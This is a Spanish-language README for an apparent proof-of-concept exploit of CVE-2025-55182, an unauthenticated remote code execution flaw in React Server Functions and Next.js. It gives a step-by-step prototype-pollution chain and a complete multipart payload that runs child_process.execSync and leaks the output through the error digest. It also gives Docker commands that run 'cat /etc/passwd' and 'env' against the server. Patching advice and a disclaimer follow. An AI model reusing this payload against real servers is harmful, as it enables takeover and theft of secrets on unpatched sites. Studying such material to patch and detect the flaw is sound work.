CVE-2025-55182

Código de demostración de la vulnerabilidad de ejecución remota de código (RCE) en React Server Functions (Next.js, etc.). Aprovecha la contaminación de prototipos (prototype pollution) para ejecutar código arbitrario en el servidor sin autenticación.

Nota: Este repositorio es únicamente con fines educativos y de investigación. El uso malintencionado está estrictamente prohibido.

Resumen

Versiones afectadas

• Next.js: 16.0.6 y anteriores (vulnerable)
• React: este commit y anteriores

Gravedad de la vulnerabilidad

• CVSS: Alta (puntuación detallada no publicada)
• Dificultad de ataque: Baja (sin autenticación, explotable con una única petición HTTP)
• Impacto: Ejecución de código arbitrario en el servidor

Causa de la vulnerabilidad

En el proceso de deserialización de React Flight Protocol, la validación de la cadena de prototipos es insuficiente. Esto permite acceder al constructor Function a través de __proto__ y ejecutar código JavaScript arbitrario.

Uso

Entorno Docker (recomendado)

Es la forma más sencilla de verificar la vulnerabilidad.

# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build

# 1. エクスプロイトを実行（デフォルト: idコマンド）
docker compose run --rm poc

# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. サーバーを停止
docker-compose down

Explicación técnica

1. Conocimientos previos

¿Qué son React Server Functions?

Es una funcionalidad de API de servidor que proporciona Next.js, entre otros.

// Server Action（サーバー側でのみ実行される関数）
async function submitForm(formData) {
  'use server'  // ← サーバー関数の宣言

  // データベース操作など、サーバー側の処理
  const result = await db.insert(formData)
  return result
}

Cuando se invoca desde el cliente:

1. La petición se envía al servidor como una solicitud HTTP
2. Los argumentos se serializan/deserializan mediante React Flight Protocol
3. La función se ejecuta en el servidor
4. El resultado se devuelve al cliente

Cómo funciona React Flight Protocol

El cliente envía los datos en unidades llamadas «chunks»:

files = {
    "0": (None, '["$1"]'),                                  # チャンク0: チャンク1への参照
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
    "2": (None, '{"fruitName":"cherry"}'),                  # チャンク2: 実際のデータ
}

Cuando se deserializa en el servidor:

{ object: 'fruit', name: 'cherry' }

El punto clave es que los chunks pueden referenciarse entre sí.

2. Detalles de la vulnerabilidad

El problema

Antes del commit de corrección, al resolver las referencias de chunks no se verificaba si la clave existía realmente en el objeto.

Esto permite acceder a la cadena de prototipos.

Ataque básico (obtención del constructor Function)

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Proceso de resolución de la referencia:

チャンク1のオブジェクト → __proto__ → constructor → constructor → Function

Resultado:

[Function: Function]  // Functionコンストラクタを取得！

Desarrollo del ataque (explotación del método then)

Convertimos el chunk 0 en un objeto y establecemos la propiedad then como el constructor Function:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Código de Next.js (action-handler.ts:888, antes del parche):

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Este await intenta invocar como función el objeto cuyo then es el constructor Function, lo que produce un error:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Técnica de explotación (avanzada)

El desafío

Se ha conseguido el constructor Function, pero ¿cómo lograr que ejecute código arbitrario?

Lo que se necesita:

1. Un gadget que invoque al constructor Function (pasando el código como cadena)
2. Un gadget que ejecute la función generada

Solución: chunks autoreferenciales

Idea de maple3142: crear un «chunk falso» en el que el chunk 0 se refiere a sí mismo.

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # 自分のthenをChunk.prototype.thenで上書き
    "1": (None, '"$@0"'),                          # $@0 = チャンク0の「生」の表現
}

La sintaxis $@ devuelve el «chunk crudo» en lugar del valor ya resuelto:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Resultado: el then del chunk 0 se reemplaza por Chunk.prototype.then.

Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← ここに入る
  }
  // ...
}

Explotación de la evaluación en dos fases

Al establecer status: "resolved_model" en el chunk falso, se invoca initializeModelChunk:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Internamente, initializeModelChunk:

function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Aquí se produce la segunda evaluación.

Payload final: explotación del procesamiento de blobs

El manejo de blobs de React Flight Protocol (prefijo $B):

case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← ここを悪用
  );

Se manipula el _response del chunk falso para establecer _formData.get como el constructor Function y _prefix como el código que se desea ejecutar:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString()でエラーにならないように
    "value": '{"then": "$B0"}',  # blob参照でthenを設定
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Functionコンストラクタ
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Flujo de ejecución:

response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行！

4. Funcionamiento del PoC

poc.py implementa el payload descrito anteriormente y extrae el resultado de la ejecución del comando a partir del mensaje de error:

# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Con solo establecer el encabezado HTTP a Next-Action: x, el ataque tiene éxito:

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Importante: Este ataque ocurre durante la deserialización, por lo que se ejecuta antes de la validación de la acción (getActionModIdOrError).

Mitigación

Para desarrolladores

1. Actualiza inmediatamente: actualiza React y Next.js a la última versión

   root@kitploit:~

   npm update react react-dom next
   

2. Comprueba la versión:

   root@kitploit:~

   npm list react next
   

   • Next.js 16.0.7 o posterior
   • React 19.2.1 o posterior (incluye el commit de corrección)

3. Medidas de WAF/seguridad:

   • Monitorizar el encabezado Next-Action
   • Bloquear datos de formulario anómalos

Escaneo de vulnerabilidades

# プロジェクトの脆弱性チェック
npm audit

Referencias

1. Documentación oficial de React Server Functions
2. Explicación de React Flight Protocol
3. Commit de corrección
4. Explicación de los prototipos de JavaScript
5. Constructor Function
6. Descubridor: maple3142

Licencia y exención de responsabilidad

Este repositorio se proporciona únicamente con fines educativos y de investigación.

• Su uso contra sistemas de terceros sin autorización es ilegal
• El creador no se hace responsable de cualquier daño que pueda derivarse de su uso
• Los investigadores de seguridad deben utilizarlo de forma responsable

Contribuciones

Descubrimiento de la vulnerabilidad: maple3142 Implementación del PoC: el creador de este repositorio